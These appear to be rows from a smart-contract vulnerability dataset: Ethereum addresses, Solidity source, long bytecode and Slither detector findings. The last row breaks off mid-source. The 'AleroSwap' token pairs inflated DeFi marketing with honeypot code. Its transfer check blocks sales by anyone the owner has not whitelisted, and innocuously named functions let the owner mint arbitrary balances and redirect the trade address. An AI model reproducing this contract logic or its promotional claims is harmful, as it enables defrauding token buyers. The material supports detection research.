65b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611f189190612b28565b60405180910390a36001925050509392505050565b611f37838261266f565b6000600267ffffffffffffffff811115611f5457611f536134ea565b5b604051908082528060200260200182016040528015611f825781602001602082028036833780820191505090505b5090503081600081518110611f9a57611f99613519565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508281600181518110611fe957611fe8613519565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008490508073ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b815260040161206a959493929190613641565b600060405180830381600087803b15801561208457600080fd5b505af1158015612098573d6000803e3d6000fd5b505050505050505050565b6001601060066101000a81548160ff02191690831515021790555060006120c930610c1b565b9050600e5481101580156120e95750600a60009054906101000a900460ff165b1561238a57600f5481106120fd57600f5490505b60006002601060049054906101000a900461ffff1661ffff16601060029054906101000a900461ffff1661ffff16846121369190612f3a565b61214091906131cd565b61214a91906131cd565b90506000818361215a9190613000565b90506012600a61216a91906137ce565b81111561238757600047905061223f600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f2d565b6000814761224d9190613000565b90506000601060029054906101000a900461ffff1661ffff161115612384576000601060049054906101000a900461ffff1661ffff16601060029054906101000a900461ffff1661ffff16836122a39190612f3a565b6122ad91906131cd565b9050612318600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168661266f565b612382600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16868361281e565b505b50505b50505b506000601060066101000a81548160ff02191690831515021790555050565b60008060019050600a60009054906101000a900460ff1680156124165750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156124df57600c5483111561242e57600090506124de565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156124d35750600d5483600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d19190613494565b115b156124dd57600090505b5b5b8091505092915050565b600080600a60009054906101000a900460ff1615806125515750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806125a55750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156125b35760009050612664565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612636576064601060009054906101000a900460ff1660ff16846126259190612f3a565b61262f91906131cd565b9050612663565b6064601060019054906101000a900460ff1660ff16846126569190612f3a565b61266091906131cd565b90505b5b809150509392505050565b80600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561281a577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040516128119190612b28565b60405180910390a35b5050565b6000808490508073ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008088426040518863ffffffff1660e01b815260040161286996959493929190613819565b60606040518083038185885af1158015612887573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128ac919061388f565b5050505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156128f05780820151818401526020810190506128d5565b838111156128ff576000848401525b50505050565b6000601f19601f8301169050919050565b6000612921826128b6565b61292b81856128c1565b935061293b8185602086016128d2565b61294481612905565b840191505092915050565b600060208201905081810360008301526129698184612916565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006129a182612976565b9050919050565b6129b181612996565b81146129bc57600080fd5b50565b6000813590506129ce816129a8565b92915050565b6000819050919050565b6129e7816129d4565b81146129f257600080fd5b50565b600081359050612a04816129de565b92915050565b60008060408385031215612a2157612a20612971565b5b6000612a2f858286016129bf565b9250506020612a40858286016129f5565b9150509250929050565b60008115159050919050565b612a5f81612a4a565b82525050565b6000602082019050612a7a6000830184612a56565b92915050565b612a8981612a4a565b8114612a9457600080fd5b50565b600081359050612aa681612a80565b92915050565b60008060408385031215612ac357612ac2612971565b5b6000612ad1858286016129bf565b9250506020612ae285828601612a97565b9150509250929050565b600060208284031215612b0257612b01612971565b5b6000612b10848285016129bf565b91505092915050565b612b22816129d4565b82525050565b6000602082019050612b3d6000830184612b19565b92915050565b600060ff82169050919050565b612b5981612b43565b82525050565b6000602082019050612b746000830184612b50565b92915050565b600080600060608486031215612b9357612b92612971565b5b6000612ba1868287016129bf565b9350506020612bb2868287016129bf565b9250506040612bc3868287016129f5565b9150509250925092565b60008060008060808587031215612be757612be6612971565b5b6000612bf5878288016129bf565b9450506020612c06878288016129bf565b9350506040612c17878288016129bf565b9250506060612c2887828801612a97565b91505092959194509250565b612c3d81612996565b82525050565b6000602082019050612c586000830184612c34565b92915050565b60008060408385031215612c7557612c74612971565b5b6000612c83858286016129bf565b9250506020612c94858286016129bf565b9150509250929050565b600063ffffffff82169050919050565b612cb781612c9e565b8114612cc257600080fd5b50565b600081359050612cd481612cae565b92915050565b60008060008060808587031215612cf457612cf3612971565b5b6000612d0287828801612cc5565b9450506020612d1387828801612cc5565b9350506040612d2487828801612cc5565b9250506060612d3587828801612cc5565b91505092959194509250565b6000612d4c82612976565b9050919050565b612d5c81612d41565b8114612d6757600080fd5b50565b600081359050612d7981612d53565b92915050565b600060208284031215612d9557612d94612971565b5b6000612da384828501612d6a565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612df357607f821691505b60208210811415612e0757612e06612dac565b5b50919050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b6000612e69602a836128c1565b9150612e7482612e0d565b604082019050919050565b60006020820190508181036000830152612e9881612e5c565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612ed56017836128c1565b9150612ee082612e9f565b602082019050919050565b60006020820190508181036000830152612f0481612ec8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f45826129d4565b9150612f50836129d4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f8957612f88612f0b565b5b828202905092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b6000612fca6010836128c1565b9150612fd582612f94565b602082019050919050565b60006020820190508181036000830152612ff981612fbd565b9050919050565b600061300b826129d4565b9150613016836129d4565b92508282101561302957613028612f0b565b5b828203905092915050565b7f54686520746f6b656e206973206c69766520616e6420746865206c697175696460008201527f69747920706169722068617320616c7265616479206265656e20736574000000602082015250565b6000613090603d836128c1565b915061309b82613034565b604082019050919050565b600060208201905081810360008301526130bf81613083565b9050919050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006130fc6009836128c1565b9150613107826130c6565b602082019050919050565b6000602082019050818103600083015261312b816130ef565b9050919050565b7f496e76616c6964206c697175696469747920706f6f6c00000000000000000000600082015250565b60006131686016836128c1565b915061317382613132565b602082019050919050565b600060208201905081810360008301526131978161315b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006131d8826129d4565b91506131e3836129d4565b9250826131f3576131f261319e565b5b828204905092915050565b7f4d696e4d6178206572726f720000000000000000000000000000000000000000600082015250565b6000613234600c836128c1565b915061323f826131fe565b602082019050919050565b6000602082019050818103600083015261326381613227565b9050919050565b7f5570706572207468726573686f6c6420746f6f206c6f77000000000000000000600082015250565b60006132a06017836128c1565b91506132ab8261326a565b602082019050919050565b600060208201905081810360008301526132cf81613293565b9050919050565b7f5570706572207468726573686f6c6420746f6f20686967680000000000000000600082015250565b600061330c6018836128c1565b9150613317826132d6565b602082019050919050565b6000602082019050818103600083015261333b816132ff565b9050919050565b6000819050919050565b600061336761336261335d84612976565b613342565b612976565b9050919050565b60006133798261334c565b9050919050565b600061338b8261336e565b9050919050565b61339b81613380565b82525050565b60006020820190506133b66000830184613392565b92915050565b7f4e6f207472616e73666572732066726f6d207a65726f2077616c6c6574000000600082015250565b60006133f2601d836128c1565b91506133fd826133bc565b602082019050919050565b60006020820190508181036000830152613421816133e5565b9050919050565b7f5472616e73616374696f6e2065786365656473206c696d697473000000000000600082015250565b600061345e601a836128c1565b915061346982613428565b602082019050919050565b6000602082019050818103600083015261348d81613451565b9050919050565b600061349f826129d4565b91506134aa836129d4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134df576134de612f0b565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061356d61356861356384613548565b613342565b6129d4565b9050919050565b61357d81613552565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135b881612996565b82525050565b60006135ca83836135af565b60208301905092915050565b6000602082019050919050565b60006135ee82613583565b6135f8818561358e565b93506136038361359f565b8060005b8381101561363457815161361b88826135be565b9750613626836135d6565b925050600181019050613607565b5085935050505092915050565b600060a0820190506136566000830188612b19565b6136636020830187613574565b818103604083015261367581866135e3565b90506136846060830185612c34565b6136916080830184612b19565b9695505050505050565b60008160011c9050919050565b6000808291508390505b60018511156136f2578086048111156136ce576136cd612f0b565b5b60018516156136dd5780820291505b80810290506136eb8561369b565b94506136b2565b94509492505050565b60008261370b57600190506137c7565b8161371957600090506137c7565b816001811461372f576002811461373957613768565b60019150506137c7565b60ff84111561374b5761374a612f0b565b5b8360020a91508482111561376257613761612f0b565b5b506137c7565b5060208310610133831016604e8410600b841016171561379d5782820a90508381111561379857613797612f0b565b5b6137c7565b6137aa84848460016136a8565b925090508184048111156137c1576137c0612f0b565b5b81810290505b9392505050565b60006137d9826129d4565b91506137e483612b43565b92506138117fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846136fb565b905092915050565b600060c08201905061382e6000830189612c34565b61383b6020830188612b19565b6138486040830187613574565b6138556060830186613574565b6138626080830185612c34565b61386f60a0830184612b19565b979650505050505050565b600081519050613889816129de565b92915050565b6000806000606084860312156138a8576138a7612971565b5b60006138b68682870161387a565b93505060206138c78682870161387a565b92505060406138d88682870161387a565b915050925092509256fea2646970667358221220dbcf810f99e2524751ebbeaf87ef14f86ecc48efa3fc0d533c52a638495516fd64736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 338 |
0x5b75c16c049efbeee42c00760ebd39725ea3dd69 | /**
*Submitted for verification at Etherscan.io on 2021-03-21
*/
/*
Alero SWAP . Feel Decentralization
DECENTRALIZED ASSET MANAGEMENT:
Vaults
Deposit your crypto assets intoAleroSwap's Vaults for automated yield optimization. The crypto assets are allocated across different DeFi protocols by the smart contracts powering the Vaults to maximize the yield for users. There is no lock-in period, and you can withdraw your crypto assets whenever required.
Gain
Deposit your crypto assets into AleroSwap's Gain platform to earn interest. The crypto assets are automatically allocated between lending protocols such as Compound and Aave, depending on which protocol is offering the highest rate of interest. The platform is in both Ethereum and Binance Smart Chain.
DECENTRALIZED EXCHANGE:
AleroSwap
A decentralized exchange with a core focus on security.AleroSwap will facilitate permission-less listing and trading of crypto assets across blockchains such as Ethereum, with added security features such as "Liquidity Lock", an optional feature whereby anyone that lists their token onto AleroSwap will have the ability to lock in the liquidity for the token for a designated period of time. A part of the trading fees generated on AleroSwap will be distributed to ALS Token holders.
Math & Model
Solvency Capital model
Arbitrage Trading onchain
Actuarial model for balancing supply and demand
Token Economy
Staking and Dividends of Oracle Machine
premium dividend for STAKING
Super Liquidity
Solvency capital can be freely transferred and traded as NFT
The ALS token can participate in AMM and free trading in Pancakeswap and UniSwap
NO KYC Required
Trade in platfrom, buy ALS token or stake solvency capital without needing to give up your identity.
Fully community driven
The team does not take token shares and accept (incapable of obtaining) any external investment, and thoroughly implements the ideal of decentralization
Decentralized
ALERO's smart contracts can be audited, deployed, and verified on the BSC, ETH and Conflux. We have no reservations about this. If you feel that we have betrayed the defi ideal, you can fork our project freely, and even your deployment can be guided by us.
DECENTRALIZED LAUNCHPAD
The Decentralized Launchpad will allow crypto projects to raise capital in a decentralized manner, and will provide ALERO Token holders the opportunity to purchase tokens at seed or early stage valuations. The platform will utilize a decentralized vetting process, whereby any project seeking to raise capital will be required to create a prospectus containing all necessary information about the project, and ALERO Token holders will vote on whether the project will be accepted onto the platform. ALERO Token holders will have the exclusive right to invest in these projects, and the projects will be allowed the flexibility to offer unique investment structures and incentives.
NON-FUNGIBLE TOKENS (NFT)
The NFT platform is an integral part of the ALEROSwap Ecosystem. ALEROSwap has partnered with leading global artists, designers and producers to create a specially curated collection of digital art and content that will be exclusively accessible to ALERO Token holders. The ultimate aim is for the platform to facilitate the representation of unique, real world assets through tokenization on the blockchain.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract AleroSwap {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158207143eb03e5a582c293e7c7b2ea283659dfd1a0f63b4f59c1f2faa2901949c41464736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 339 |
0xa49544428aa25ffead6c218258dd5b18f1f9b9e2 | /**
*Submitted for verification at Etherscan.io on 2021-02-10
*/
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract ALT {
/// @notice EIP-20 token name for this token
string public constant name = "AlphaToolz Token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "ALT";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 21000000e18;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
